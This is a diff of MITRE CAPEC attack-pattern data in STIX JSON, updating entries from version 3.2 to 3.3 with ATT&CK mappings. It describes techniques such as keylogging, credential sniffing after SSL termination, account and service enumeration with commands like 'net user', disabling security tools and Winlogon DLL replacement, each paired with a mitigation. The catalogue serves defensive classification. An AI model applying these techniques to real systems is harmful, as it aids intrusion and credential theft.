"coa-568-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Strong physical security can help reduce the ability of an adversary to install a keylogger.", - "type": "course-of-action", - "id": "course-of-action--ac31ad94-cdd7-4233-9c7b-3341818f95c1" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--76f04316-3bcf-4941-8aa8-df14017ac277", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--76f04316-3bcf-4941-8aa8-df14017ac277", "source_ref": "course-of-action--ac31ad94-cdd7-4233-9c7b-3341818f95c1", "relationship_type": "mitigates", "target_ref": "attack-pattern--fab7fb48-4503-4e03-980f-9bc827be929f" }, { + "id": "attack-pattern--52103765-d380-42fc-aa4d-a8b24615548a", "name": "Collect Data as Provided by Users", "description": "An attacker leverages a tool, device, or program to obtain specific information as provided by a user of the target system. This information is often needed by the attacker to launch a follow-on attack. This attack is different than Social Engineering as the adversary is not tricking or deceiving the user. Instead the adversary is putting a mechanism in place that captures the information that a user legitimately enters into a system. Deploying a keylogger, performing a UAC prompt, or wrapping the Windows default credential provider are all examples of such interactions.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33615,21 +36709,39 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/569.html", "external_id": "CAPEC-569" + }, + { + "source_name": "ATTACK", + "description": "Input Capture:GUI Input Capture", + "url": "https://attack.mitre.org/wiki/Technique/T1056/002", + "external_id": "T1056.002" + }, + { + "source_name": "ATTACK", + "description": "Input Capture:Web Portal Capture", + "url": "https://attack.mitre.org/wiki/Technique/T1056/003", + "external_id": "T1056.003" + }, + { + "source_name": "ATTACK", + "description": "Input Capture:Credential API Hooking", + "url": "https://attack.mitre.org/wiki/Technique/T1056/004", + "external_id": "T1056.004" } ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--52103765-d380-42fc-aa4d-a8b24615548a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--359d056e-6d5c-4d54-97d6-5a9f586bcccf", "name": "Utilizing REST's Trust in the System Resource to Obtain Sensitive Data", "description": "This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with an XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The attacker can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the attacker gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33690,11 +36802,11 @@ "The Rest service provider uses SSL to protect the communications between the service requester (client) to the service provider. In the instance where SSL is terminated before the communications reach the web server, it is very common in enterprise data centers to terminate SSL at a router, firewall, load balancer, proxy or other device, then the attacker can insert a sniffer into the communication stream and gather all the authentication tokens (such as session credentials, username/passwords combinations, and so on). The Rest service requester and service provider do not have any way to detect this attack." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--359d056e-6d5c-4d54-97d6-5a9f586bcccf" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--411ad2e6-57aa-4f31-be81-4e85c4618602", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -33703,23 +36815,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Implement message level security such as HMAC in the HTTP communication", - "type": "course-of-action", - "id": "course-of-action--411ad2e6-57aa-4f31-be81-4e85c4618602" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--d6d23a13-264b-4642-b6ca-c39f175c9d9e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d6d23a13-264b-4642-b6ca-c39f175c9d9e", "source_ref": "course-of-action--411ad2e6-57aa-4f31-be81-4e85c4618602", "relationship_type": "mitigates", "target_ref": "attack-pattern--359d056e-6d5c-4d54-97d6-5a9f586bcccf" }, { + "id": "course-of-action--fab2d0ed-1d80-4531-a345-10e8bbb142d5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -33728,44 +36842,47 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Utilize defense in depth, do not rely on a single security mechanism like SSL", - "type": "course-of-action", - "id": "course-of-action--fab2d0ed-1d80-4531-a345-10e8bbb142d5" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--d893b6fe-7c69-4a0a-a687-450db912f094", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d893b6fe-7c69-4a0a-a687-450db912f094", "source_ref": "course-of-action--fab2d0ed-1d80-4531-a345-10e8bbb142d5", "relationship_type": "mitigates", "target_ref": "attack-pattern--359d056e-6d5c-4d54-97d6-5a9f586bcccf" }, { + "id": "relationship--e8ca2309-7035-4c1b-91a7-0c39f533a82b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e8ca2309-7035-4c1b-91a7-0c39f533a82b", "source_ref": "course-of-action--a4112a44-a0f9-4bde-bebe-74ed96c4cd3f", "relationship_type": "mitigates", "target_ref": "attack-pattern--359d056e-6d5c-4d54-97d6-5a9f586bcccf" }, { + "id": "attack-pattern--80f16e35-c7c1-445d-8f12-a77bbbce6bcf", "name": "DEPRECATED: Signature-Based Avoidance", - "description": "This CAPEC has been deprecated because of is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", + "description": "This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33775,11 +36892,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--80f16e35-c7c1-445d-8f12-a77bbbce6bcf" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--8f91fa23-b5c4-48f1-be6c-99582524f8cc", "name": "Block Logging to Central Repository", "description": "An adversary may attempt to block indicators from leaving the host machine. In the case of network based reporting of indicators, an adversary may block traffic associated with reporting to prevent central station analysis. This may be accomplished by many means such as stopping a local process to creating a host-based firewall rule to block traffic to a specific server.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33787,44 +36904,69 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/571.html", "external_id": "CAPEC-571" + }, + { + "source_name": "ATTACK", + "description": "Impair Defenses:Indicator Blocking", + "url": "https://attack.mitre.org/wiki/Technique/T1562/006", + "external_id": "T1562.006" } ], "x_capec_typical_severity": "Low", "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8f91fa23-b5c4-48f1-be6c-99582524f8cc" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--31b90554-68d8-4950-ac45-89c915a30716", "name": "Artificially Inflate File Sizes", - "description": "Security tools often inspect executables to determine if they are malicious. Adversaries may add data to executables to increase the executable size beyond what security tools are capable of handling. Adding data to an executable also changes the file's hash, frustrating security tools that look for known bad files by their hash.", + "description": "\n An adversary modifies file contents by adding data to files for several reasons. Many different attacks could \u201cfollow\u201d this pattern resulting in numerous outcomes. Adding data to a file could also result in a Denial of Service condition for devices with limited storage capacity.\n ", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/572.html", "external_id": "CAPEC-572" + }, + { + "source_name": "ATTACK", + "description": "Obfuscated Files or Information:Binary Padding", + "url": "https://attack.mitre.org/wiki/Technique/T1027/001", + "external_id": "T1027.001" } ], + "x_capec_likelihood_of_attack": "High", + "x_capec_typical_severity": "Medium", + "x_capec_consequences": { + "Availability": [ + "Resource Consumption (Denial of Service)" + ], + "Integrity": [ + "Modify Data" + ] + }, "x_capec_abstraction": "Standard", + "x_capec_example_instances": [ + "\n An adversary could potentially increase file sizes on devices containing limited storage resources, such as SCADA or IOT devices, resulting in denial of service conditions.\n " + ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--31b90554-68d8-4950-ac45-89c915a30716" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--b5b3a4ff-afa0-4a3a-9537-88ac953a41f7", "name": "Process Footprinting", "description": "An adversary exploits functionality meant to identify information about the currently running processes on the target system to an authorized user. By knowing what processes are running on the target system, the adversary can learn about the target environment as a means towards further malicious behavior.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33832,7 +36974,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33843,6 +36985,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "Process Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1057", + "external_id": "T1057" } ], "x_capec_likelihood_of_attack": "Low", @@ -33871,24 +37019,25 @@ "In addition to manual discovery of running processes, an adversary can develop malware that carries out this attack pattern before subsequent malicious action." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b5b3a4ff-afa0-4a3a-9537-88ac953a41f7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0c44f76e-5c95-4baa-b735-893583247e91", - "source_ref": "course-of-action--269c9174-c1ec-429d-8768-4576358688ae", + "id": "relationship--d90ebca8-a2a7-44f1-afb0-5bf198b230a1", + "source_ref": "course-of-action--df51abec-081d-46dd-8f72-6ffd3d11d3dc", "relationship_type": "mitigates", "target_ref": "attack-pattern--b5b3a4ff-afa0-4a3a-9537-88ac953a41f7" }, { + "id": "attack-pattern--6cfc4047-a0fb-42ac-bf94-226a21c40c80", "name": "Services Footprinting", "description": "An adversary exploits functionality meant to identify information about the services on the target system to an authorized user. By knowing what services are registered on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. Depending on the operating system, commands that can obtain services information include \"sc\" and \"tasklist/svc\" using Tasklist, and \"net start\" using Net.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33896,7 +37045,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33907,6 +37056,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "System Service Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1007", + "external_id": "T1007" } ], "x_capec_likelihood_of_attack": "Low", @@ -33931,36 +37086,38 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--6cfc4047-a0fb-42ac-bf94-226a21c40c80" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-574-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Identify programs that may be used to acquire service information and block them by using a software restriction policy or tools that restrict program execution by process whitelisting.", + "description": "Identify programs that may be used to acquire service information and block them by using a software restriction policy or tools that restrict program execution by uaing a process allowlist.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--e05f0658-d9e9-485a-9afd-c131b8137386" + "id": "course-of-action--93c5a458-1b46-4c3f-9f1f-763513e4e117" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7cd965e1-a556-45ad-8656-359335e27db0", - "source_ref": "course-of-action--e05f0658-d9e9-485a-9afd-c131b8137386", + "id": "relationship--ae71c8b1-867e-4d0f-b856-1f1dc4334311", + "source_ref": "course-of-action--93c5a458-1b46-4c3f-9f1f-763513e4e117", "relationship_type": "mitigates", "target_ref": "attack-pattern--6cfc4047-a0fb-42ac-bf94-226a21c40c80" }, { + "id": "attack-pattern--6de257d8-e3b6-4654-85a7-a6fb37a94ccb", "name": "Account Footprinting", "description": "An adversary exploits functionality meant to identify information about the domain accounts and their permissions on the target system to an authorized user. By knowing what accounts are registered on the target system, the adversary can inform further and more targeted malicious behavior. Example Windows commands which can acquire this information are: \"net user\" and \"dsquery\".", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -33968,7 +37125,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -33979,6 +37136,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "Account Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1087", + "external_id": "T1087" } ], "x_capec_likelihood_of_attack": "Low", @@ -34003,36 +37166,38 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--6de257d8-e3b6-4654-85a7-a6fb37a94ccb" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-575-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Identify programs that may be used to acquire account information and block them by using a software restriction policy or tools that restrict program execution by process whitelisting.", + "description": "Identify programs that may be used to acquire account information and block them by using a software restriction policy or tools that restrict program execution by uysing a process allowlist.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--4d5c9a0c-1600-4689-8d69-ab34ba7f07a0" + "id": "course-of-action--99081e9b-3b17-47c0-bbc3-23ef66bd5063" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--27d828bb-078a-48f1-a7f8-d65deddfe453", - "source_ref": "course-of-action--4d5c9a0c-1600-4689-8d69-ab34ba7f07a0", + "id": "relationship--a83980a6-7bad-41f4-967c-54f888a25a11", + "source_ref": "course-of-action--99081e9b-3b17-47c0-bbc3-23ef66bd5063", "relationship_type": "mitigates", "target_ref": "attack-pattern--6de257d8-e3b6-4654-85a7-a6fb37a94ccb" }, { + "id": "attack-pattern--f95027a2-27e7-431f-b5c7-da9c46b05f71", "name": "Group Permission Footprinting", "description": "An adversary exploits functionality meant to identify information about user groups and their permissions on the target system to an authorized user. By knowing what users/permissions are registered on the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command which can list local groups is \"net localgroup\".", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34040,7 +37205,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -34051,6 +37216,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "Permission Groups Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1069", + "external_id": "T1069" } ], "x_capec_likelihood_of_attack": "Low", @@ -34075,36 +37246,38 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--f95027a2-27e7-431f-b5c7-da9c46b05f71" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-576-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Identify programs (such as \"net\") that may be used to enumerate local group permissions and block them by using a software restriction Policy or tools that restrict program execution by process whitelisting.", + "description": "Identify programs (such as \"net\") that may be used to enumerate local group permissions and block them by using a software restriction Policy or tools that restrict program execution by using a process allowlist.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--6553df1e-62f7-44e4-ae16-5a0c2bae128a" + "id": "course-of-action--2bb92dd6-4286-42f9-bb33-e90bf1a8a9d5" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7539beb2-8be4-42cc-8e30-e5740a0437f5", - "source_ref": "course-of-action--6553df1e-62f7-44e4-ae16-5a0c2bae128a", + "id": "relationship--66551e96-dd41-445e-855d-1b22ca5c0267", + "source_ref": "course-of-action--2bb92dd6-4286-42f9-bb33-e90bf1a8a9d5", "relationship_type": "mitigates", "target_ref": "attack-pattern--f95027a2-27e7-431f-b5c7-da9c46b05f71" }, { + "id": "attack-pattern--3dfa08af-9677-4a4d-a3f0-a1c5042c9497", "name": "Owner Footprinting", "description": "An adversary exploits functionality meant to identify information about the primary users on the target system to an authorized user. They may do this, for example, by reviewing logins or file modification times. By knowing what owners use the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command that may accomplish this is \"dir /A ntuser.dat\". Which will display the last modified time of a user's ntuser.dat file when run within the root folder of a user. This time is synonymous with the last time that user was logged in.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34123,6 +37296,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "System Owner/User Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1033", + "external_id": "T1033" } ], "x_capec_likelihood_of_attack": "Low", @@ -34148,11 +37327,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3dfa08af-9677-4a4d-a3f0-a1c5042c9497" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--583c7488-8859-4641-9143-4a55cfb23722", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -34161,23 +37340,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure that proper permissions on files and folders are enacted to limit accessibility.", - "type": "course-of-action", - "id": "course-of-action--583c7488-8859-4641-9143-4a55cfb23722" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--8d75f4c7-4ed6-4b8d-92af-9a3ef1ed2ea7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--8d75f4c7-4ed6-4b8d-92af-9a3ef1ed2ea7", "source_ref": "course-of-action--583c7488-8859-4641-9143-4a55cfb23722", "relationship_type": "mitigates", "target_ref": "attack-pattern--3dfa08af-9677-4a4d-a3f0-a1c5042c9497" }, { + "id": "attack-pattern--a2f42e82-a184-4df7-a8bb-6fc34787d571", "name": "Disable Security Software", "description": "An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34185,7 +37366,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -34196,6 +37377,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Impair Defenses:Disable or Modify Tools", + "url": "https://attack.mitre.org/wiki/Technique/T1562/001", + "external_id": "T1562.001" } ], "x_capec_likelihood_of_attack": "Medium", @@ -34213,36 +37400,38 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Usable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a2f42e82-a184-4df7-a8bb-6fc34787d571" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--be1b899d-d3f2-4d8f-807f-c8a13d7c193c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-578-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure proper permissions are in place to prevent adversaries from altering the execution status of security tools.", - "type": "course-of-action", - "id": "course-of-action--be1b899d-d3f2-4d8f-807f-c8a13d7c193c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--99491706-558f-487d-aa01-04a8b8b5a6f5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--99491706-558f-487d-aa01-04a8b8b5a6f5", "source_ref": "course-of-action--be1b899d-d3f2-4d8f-807f-c8a13d7c193c", "relationship_type": "mitigates", "target_ref": "attack-pattern--a2f42e82-a184-4df7-a8bb-6fc34787d571" }, { + "id": "attack-pattern--9927fda8-927b-4327-b3f8-bcbd0467c702", "name": "Replace Winlogon Helper DLL", "description": "Winlogon is a part of Windows that performs logon actions. In Windows systems prior to Windows Vista, a registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34250,46 +37439,54 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/579.html", "external_id": "CAPEC-579" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Autostart Execution:Winlogon helper DLL", + "url": "https://attack.mitre.org/wiki/Technique/T1547/004", + "external_id": "T1547.004" } ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9927fda8-927b-4327-b3f8-bcbd0467c702" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--06e89ede-e243-47b4-9f02-1fd206dd5a5b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-579-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Changes to registry entries in \"HKLM\\Software\\Microsoft\\Windows NT\\Winlogon\\Notify\" that do not correlate with known software, patch cycles, etc are suspicious. New DLLs written to System32 which do not correlate with known good software or patching may be suspicious.", - "type": "course-of-action", - "id": "course-of-action--06e89ede-e243-47b4-9f02-1fd206dd5a5b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3c9851cf-e6d2-463b-a389-c4c108572a95", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3c9851cf-e6d2-463b-a389-c4c108572a95", "source_ref": "course-of-action--06e89ede-e243-47b4-9f02-1fd206dd5a5b", "relationship_type": "mitigates", "target_ref": "attack-pattern--9927fda8-927b-4327-b3f8-bcbd0467c702" }, { + "id": "attack-pattern--74bac7d9-693d-40d2-82bf-eb132f13bcaf", "name": "Restful Privilege Elevation", "description": "Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but 